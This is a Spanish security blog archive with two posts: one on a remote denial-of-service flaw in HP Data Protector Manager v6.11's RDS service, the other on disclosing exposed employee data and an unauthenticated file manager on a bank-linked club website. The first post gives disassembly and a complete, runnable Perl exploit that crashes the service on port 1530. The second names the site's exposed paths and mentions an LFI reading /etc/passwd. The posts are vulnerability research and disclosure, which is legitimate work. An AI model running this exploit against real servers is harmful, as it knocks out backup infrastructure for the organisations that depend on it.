Archivo de la etiqueta: Fallo de seguridad

HP Data Protector Manager v6.11 (DoS en el servicio RDS)

Continuamos con la saga de servicios de HP Data Protector Manager v6.11, en el que ya subí a mi web dos denegaciones de servicios en OmniInet y MMD (que por cierto, está la misma vulnerabilidad también en el servicio KMS, que usa la mismoa DLL) …  y todas ellas debido a un fallo en la DLL MSVCR71.dll que provocaba un NULL Pointer Dereference.

Esta vez se trata del servicio RDS y la DLL afectada es otra diferente, así como la causa de la denegación de servicio.

Antes de nada, decir que cuando estuve mirando este programa de HP, hace unos meses, mi amigo Roi Mallo lo hizo también, y cada uno miramos servicios diferentes. El DoS en el RDS lo descubrió él en su día, pero no lo llegó a publicar ya que tuvo un desafortunado incidente con su disco duro 🙂

Como me puse el otro día de nuevo a revisar este software, me comentó su hallazgo así que me he limitado a verificarlo.

Ya que no dispongo de un cliente para ese servicio, tras hacer un poco de reversing y un simple breakpoint en recv he podido ver que los datos esperados son:

1 Dword // siempre B6298C23 (\x23\x8c\x29\xb6)

1 Dword // que indica el tamaño de los datos

Datos

Y lo que hace, básicamente es:

  • La DLL _ncp32.dll es la responsable de realizar el RECV en espera de los datos del cliente.
  • Analiza la cabecera y, si es correcta, llama a _rm32.dll pasando el tamaño.
  • _rm32.dll realiza un MALLOC para reservar memoria para el paquete y devuelve la dirección donde deben guardarse los datos.
  • Si el tamaño es muy grande, MALLOC devuelve 0 y se realiza un EXIT controlado, con lo que el servicio queda parado.
// _ncp32.dll
00482F92   68 7DFAF908      PUSH 8F9FA7D
00482F97   6A 00                PUSH 0
00482F99   6A 01                PUSH 1
00482F9B   6A 00                PUSH 0
00482F9D   8B55 F8              MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
00482FA0   52                       PUSH EDX
00482FA1   E8 9C2D0000    CALL <JMP.&_rm32.#20_rm_getMem>

// _rm32.dll
0038C49B   8B45 08              MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
0038C49E   83C0 08              ADD EAX,8
0038C4A1   50                   PUSH EAX
0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  -> Returns 0 because no space available
......
0038C5F9   50                       PUSH EAX
0038C5FA   68 2C0C3A00      PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
.....
0038C64E   E8 8D220000      CALL _rm32.rm_errorExit

Y el exploit:

#!/usr/bin/perl

# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: Remote Denial of Service Vulnerabilities (RDS Service)
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
# Date: 08/01/2011
# Authors: Roi Mallo - rmallof[AT]gmail[DOT]com
#                   http://elotrolad0.blogspot.com/ - http://twitter.com/rmallof
#              Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org - http://twitter.com/pepeluxx
#
# Vulnerable file: Program Files\OmniBack\rds.exe
#
# Tested on Windows XP SP2 && Windows XP SP3
#
#
# POC:
# _ncp32.dll is the responsable of waiting the packet (RECV)
# when a packet is received, it uses _rm32.dll to allocating memory,
# as the size is too big, malloc can't allocate this size and the program exit.
#
# _ncp32.dll
# 00482F92   68 7DFAF908      PUSH 8F9FA7D
# 00482F97   6A 00                PUSH 0
# 00482F99   6A 01                PUSH 1
# 00482F9B   6A 00                PUSH 0
# 00482F9D   8B55 F8              MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
# 00482FA0   52                       PUSH EDX
# 00482FA1   E8 9C2D0000    CALL <JMP.&_rm32.#20_rm_getMem>
#
#
# _rm32.dll
# 0038C49B   8B45 08              MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
# 0038C49E   83C0 08              ADD EAX,8
# 0038C4A1   50                   PUSH EAX
# 0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  --> Returns 0 because no space available
# ......
# 0038C5F9   50                       PUSH EAX
# 0038C5FA   68 2C0C3A00      PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
#......
# 0038C64E   E8 8D220000      CALL _rm32.rm_errorExit

use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
 print "Usage: perl $0 <host> [port]\n";
 print "\tdefault port = 1530\n\n";
 exit 1;
}

$port = 1530 if !($ARGV[1]);

if ($^O =~ /Win/) {system("cls");}else{system("clear");}

my $buf = "\x23\x8c\x29\xb6";     # header (always the same)
$buf .= "\x64\x00\x00\x00";         # data packet size (too big)
$buf .= "\x41"x4;                        # data

print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n";
exit;

Podéis bajar el exploit aquí: http://pepelux.org/exploits/hpdataprotector_rds.pl

Protección de datos … what is this?

Me encanta avisar a las empresas cuando detecto un fallo de seguridad (es una ironía). Realmente me parece una estupidez ya que pueden pasar 3 cosas:

1- Que te ignoren (es lo más habitual)

2- Que te digan que ellos no tienen ningún fallo y que dejes de tocar los co**nes (suele pasar)

3- Que te agradezcan el aviso (esto no suele ocurrir nunca)

No es que me dedique a buscar fallos en webs pero muchas veces se te presentan sólos y la curiosidad te lleva siempre a mirar un poco más allá. Intentando no rebasar los límites de lo legal vas mirando aquí, vas mirando allá, con los ojos como platos por la sorpresa. ‘:-o … No es posible lo que estoy viendo …’

Normalmente me digo a mi mismo … ‘Oh my God!’ y cierro la web para evitar tentaciones, porque si avisas son todo problemas; pero esta vez fue diferente. Esta vez llegué a través de una búsqueda de Google, a una web de una entidad bancaria vinculada a una entidad bancaria, que me mostraba los datos de sus empleados: nombre, apellidos, dni, dirección, teléfonos particulares, mail del trabajo, mail personal, oficina en la que trabajan, cargo que ocupan, número de cuenta bancaria … SI, su número de cuenta bancaria (del director, del interventor, del cajero, …) algo verdaderamente escandaloso, vergonzoso, indignante … vamos, para meter a los ingenieros a picar piedras un mes.

No es que estén los datos de todos los empleados sino que se trata de un club para el personal de la entidad al que se suscriben para hacer viajes y otras cosas. Pues toda esa gente tenía sus datos personales ahí, a la vista de todo el mundo.

Y lo peor de todo no es eso, sino que tras digerir los datos que Google me estaba mostrando, decidí entrar en el directorio raíz donde estaban esos datos y me encontré un File Manager, el cual no pedía ni usuario ni contraseña ni nada de nada. Ale!!! alegría!!!! acceso libre al sistema.

El gestor de archivos te permitía navegar por ciertos directorios y descargar, subir, modificar o borrar archivos libremente. No tuve que exprimir mucho la neurona para averigurar que ese gestor de archivos era de código abierto, un proyecto de sourceforge que, tras descargar el código fuente (del año 2003 la última actualización!, casi nada!) lo analicé y vi que, obviamente, estaba lleno de fallos de seguridad, que, entre otras cosas permitían hacer un LFI y sacar el /etc/passwd, y cualquier archivo del sistema al que se tuviera acceso (todo esto lo probé en local en mi máquina tras bajar los fuentes de sourceforge, eh! no pienses mal 😛 ) …

La descripción del bug de ese File Manager lo puedes encontrar en mi web, aquí: sFileManager

Bueno, la entidad en cuestión es la CAM (Caja de Ahorros del Mediterráneo) y el motivo por el que me siento estúpido tras avisar es que sigo esperando una respuesta o un mensaje de agradecimiento que nunca llegará, como viene siendo habitual. Eso sí, la carpeta con los datos la han borrado totalmente parcialmente (al menos los datos del personal y el File Manager han desaparecido … hasta han desaparecido de la caché de Google!!), por lo que deduzco que han recibido mi mail. Al menos me queda la satisfacción de que los pobres empleados de la CAM ya no tienen sus datos personales a la vista de todo el mundo.

Sí, las cosas suceden así, mandas el aviso, que llega al buzón general. Una persona lo lee y no entien nada (puaj! habla de cosas de informática … se lo reenviaré a la empresa que lleva la web). Luego la empresa que lleva el mantenimiento le da una colleja al becario de turno, parchea rápidamente y borra toda evidencia antes de que se entere alguien y llegue la sangre al río. Sólo decir que la web tiene más fallos de seguridad fácilmente detectables pero como no quiero hacer nada ilegal no voy a profundizar ni a dar más detalles. Pero una empresa con tanto dinero … que contraten una auditoría de seguridad, c**o!!!

El mail que les mandé fue este:

Por favor remitan esto urgentemente a su departamento de informática porque me parece algo verdaderamente increible que una entidad como la CAM deje datos personales (de sus empleados) a la vista de todos. Me explico …

Realizando una búsqueda en Google llegué a la siguiente página:
http://webcache.googleusercontent.com/search?q=cache:mRhm4rpYt2AJ:www.elclubcam.com/ficheros/logs/Alta%2520socio+site:elclubcam.com/ficheros&cd=2&hl=es&ct=clnk&gl=es&client=firefox-a

en la que me salen un montón de datos de gente, donde aparecen DNIs, direcciones de email, teléfonos, etc (aquí ya están violando la ley al tener esa información pública en Internet). Siguiendo mi curiosidad me decido a entrar en la web http://www.elclubcam.com y veo un lugar donde pone ‘hazte socio’ y un link a un formulario que, casualmente se asemeja mucho a los datos que me encontré en la página anterior. Cuál es mi sorpresa cuando veo que entre los datos hay números de cuenta, entre otras cosas. Vamos, los números de cuenta, direcciones, teléfonos, mails, dni, apellidos, etc del personal de su empresa, incluída la oficina dónde trabajan!!!

Aparte de esto, entro en http://www.elclubcam.com/ficheros/ y me veo un listado de archivos con un file manager (gestor de archivos), accesible sin usuario y contraseña, y sin que diga nada de acceso restrigido ni información privada ni nada de nada …. y, desde el cual se puede ver todo el contenido privado de la web (es decir, muchos listados con datos personales de empleados). Es más, ese gestor de archivos (público, gratuito, y, con el código fuente en http://onedotoh.sourceforge.net) es del año 2003 y tiene fallos de seguridad que permiten acceder a todo el servidor, es decir, no sólo a la web sino a todo el sistema. (más información aquí: http://www.pepelux.org/download.php?f=exploits/sfilemanager.txt)

Si su departamente informático desea más detalles pueden contactar conmigo. Espero que lo resuelvan rápido o, al menos quiten los datos de sus empleados de Internet ya que, repito, hay hasta datos bancarios!

Un saludo

Rectificación: Bueno, quiero aclarar (ya que me han llegado algunos mails) que esta web creo que la lleva una empresa externa y no la propia CAM, aunque como ya he dicho, creo que si de una u otra forma está vinculada a la entidad, deben prestar cierta atención. No obstante, a pesar de que los datos eran de personal de la CAM, no creo que el equipo informático de esta sean los responsables del ‘descuido’.